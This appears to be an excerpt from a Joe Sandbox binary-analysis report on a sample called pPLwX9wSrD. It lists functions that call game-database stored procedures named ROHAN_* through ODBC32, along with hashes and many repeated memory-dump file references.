                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetNGuildWarItemReward] (?, ?)}
                                                                                                                            • API String ID: 0-143708698
                                                                                                                            • Opcode ID: cf69135fce14fe610be4da392cfa6d3fac3610f947dda3870c0c73eb1c65d2e2
                                                                                                                            • Instruction ID: 3f70403d1f9e0d5f9416ec2016d3611a665d2f8786cb7039e608f08ba40ed023
                                                                                                                            • Opcode Fuzzy Hash: cf69135fce14fe610be4da392cfa6d3fac3610f947dda3870c0c73eb1c65d2e2
                                                                                                                            • Instruction Fuzzy Hash: 452100B1640215ABEB248F84CC52FA97378EB44B2CF10C289F7146F2D5DBB56940DB58
                                                                                                                            Function 0043F78C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_ReturnMail](?, ?)},000000FD), ref: 0043F7AC
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043F7EB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043F820
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F858
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_ReturnMail](?, ?)}, xrefs: 0043F7A3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_ReturnMail](?, ?)}
                                                                                                                            • API String ID: 0-3074024919
                                                                                                                            • Opcode ID: 85e8cdef3cbe1848ca1ceb0abed734f3123d6e6cece6b46ee9a09d455b5e6d7e
                                                                                                                            • Instruction ID: 1cb25110698e05141786d946ae6081b4b10a568e01b48b27688ff1a20fd271d5
                                                                                                                            • Opcode Fuzzy Hash: 85e8cdef3cbe1848ca1ceb0abed734f3123d6e6cece6b46ee9a09d455b5e6d7e
                                                                                                                            • Instruction Fuzzy Hash: 49212FB4640254ABEB28CB45DC42FE97374EB45B14F10868DFB146E2C0D6B16940CF98
                                                                                                                            Function 0043E8C2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_Get_Reward_Result_Invens] (?, ?)},000000FD), ref: 0043E8E2
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043E921
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043E956
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043E98E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_Get_Reward_Result_Invens] (?, ?)}, xrefs: 0043E8D9
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_Get_Reward_Result_Invens] (?, ?)}
                                                                                                                            • API String ID: 0-4007216872
                                                                                                                            • Opcode ID: 21c9aeab5c6c9c881bcc30e8281f7f3ed7e8cb04dd2074382aaae00fb40b33b0
                                                                                                                            • Instruction ID: 7ed8331f05bde93602bbfad6219a7b4c22fe7134700b6a40ab56ff643501f92a
                                                                                                                            • Opcode Fuzzy Hash: 21c9aeab5c6c9c881bcc30e8281f7f3ed7e8cb04dd2074382aaae00fb40b33b0
                                                                                                                            • Instruction Fuzzy Hash: FB2100B1A44658FBEB288F45CC56FE97336EBC4714F208289F7146E3C4D5B56D808B58
                                                                                                                            Function 004338EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SavePortalIndex] (?,?)},000000FD), ref: 0043390E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043394D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00433982
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004339BA
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SavePortalIndex] (?,?)}, xrefs: 00433905
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SavePortalIndex] (?,?)}
                                                                                                                            • API String ID: 0-367171547
                                                                                                                            • Opcode ID: 31de5df0f28c3bae8ec5284a097ebaac5861c216eb1d2401d73d1b67d4227d02
                                                                                                                            • Instruction ID: 5854e8a30e53bb6a272211ff92613d1561a0f47f8e690ad5a0b532180c2d34e8
                                                                                                                            • Opcode Fuzzy Hash: 31de5df0f28c3bae8ec5284a097ebaac5861c216eb1d2401d73d1b67d4227d02
                                                                                                                            • Instruction Fuzzy Hash: 51211FB4B4435CBBEB248F44CC52FAA7334FB85B18F208289F7196E6C4D6B56D408B59
                                                                                                                            Function 0043689F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_RemoveRecipe](?, ?)},000000FD), ref: 004368BF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004368FE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00436933
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043696B
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_RemoveRecipe](?, ?)}, xrefs: 004368B6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_RemoveRecipe](?, ?)}
                                                                                                                            • API String ID: 0-2415696089
                                                                                                                            • Opcode ID: a675f327fb15e43ce361799a07af227229061bc974e0825b0348c64bba657d43
                                                                                                                            • Instruction ID: 6c6ed72407cf22de1df3d7816793e99a38aafc6d722aeccc60e9aef58790790d
                                                                                                                            • Opcode Fuzzy Hash: a675f327fb15e43ce361799a07af227229061bc974e0825b0348c64bba657d43
                                                                                                                            • Instruction Fuzzy Hash: 1021B3B16442146BFB289F54CD62FA97374FB44B18F204389F71C6E2C5D9B569408B58
                                                                                                                            Function 0042D953 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_JoinAllianceGuild](?, ?)},000000FD), ref: 0042D973
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D9B2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D9E7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042DA1F
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_JoinAllianceGuild](?, ?)}, xrefs: 0042D96A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_JoinAllianceGuild](?, ?)}
                                                                                                                            • API String ID: 0-1606073856
                                                                                                                            • Opcode ID: 51cfdd3f0dc69c9fdec7321267196b47b021fb773a83e4b539470d8f1c8a24f8
                                                                                                                            • Instruction ID: 130ba6aeecf92c14eddf1aa52c7bff20360f24ea71b835bbb5cfb2340f41084c
                                                                                                                            • Opcode Fuzzy Hash: 51cfdd3f0dc69c9fdec7321267196b47b021fb773a83e4b539470d8f1c8a24f8
                                                                                                                            • Instruction Fuzzy Hash: 1E21D3B16806146BEB249F54CC52FEB7374EB4471DF208289F71C6E2C4D6B569808F58
                                                                                                                            Function 0043BA07 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetIndunRankerMessage] (?,?)},000000FD), ref: 0043BA27
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043BA66
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043BA9B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000028,00000000,?,00000029,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043BAD3
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetIndunRankerMessage] (?,?)}, xrefs: 0043BA1E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
